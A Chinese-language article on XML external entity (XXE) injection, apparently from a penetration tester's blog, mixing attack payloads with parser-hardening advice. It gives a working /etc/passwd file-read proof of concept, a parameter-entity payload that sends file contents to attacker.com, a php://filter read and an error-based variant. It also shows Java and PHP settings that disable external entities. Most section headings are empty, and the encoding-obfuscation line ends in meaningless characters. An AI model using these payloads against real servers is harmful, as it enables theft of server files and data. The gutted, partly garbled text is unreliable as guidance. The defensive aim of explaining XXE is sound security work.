XML外部实体注入(XXE)是一种针对XML解析器的攻击技术。当应用程序解析用户提供的XML输入时,如果未正确配置XML解析器,攻击者就能通过构造恶意XML实体来读取服务器上的任意文件、发起SSRF攻击甚至导致拒绝服务。
我在实际渗透测试中发现,许多开发团队对XXE的风险认知明显不足。去年审计的某金融系统中,超过60%的XML接口都存在XXE漏洞。这主要是因为:
XML实体本质上是存储单元,常见类型包括:
<!ENTITY name "value"><!ENTITY name SYSTEM "URI"><!ENTITY % name "value">危险的是,外部实体支持多种协议:
xml复制<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY http SYSTEM "http://attacker.com">
<!ENTITY ftp SYSTEM "ftp://user:pass@host/file">
文件读取POC示例:
xml复制<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
带外数据外传技巧:
xml复制<!ENTITY % payload SYSTEM "file:///confidential.txt">
<!ENTITY % param "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%payload;'>">
编码混淆:
file:///etc/passwd → file:///etc/passwd㸱㸷㸰㸴㸳㸵㸶㸲㸴㸵非常规协议利用:
xml复制<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
当响应不直接返回数据时:
xml复制<!ENTITY xxe SYSTEM "http://attacker.com/?data=[CONTENT]">
xml复制<!ENTITY % error "<!ENTITY content SYSTEM 'file:///nonexistent/%payload;'>">
Java示例(禁用DTD):
java复制DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
PHP配置建议:
php复制libxml_disable_entity_loader(true);
输入验证:
输出处理:
开发阶段:
测试阶段:
发现XXE攻击后的关键步骤:
某电商平台漏洞复现:
xml复制<!-- 实际攻击载荷 -->
根本原因分析:
推荐工具组合:
测试所有XML输入点:
特殊场景检查:
必备安全知识:
新兴风险方向: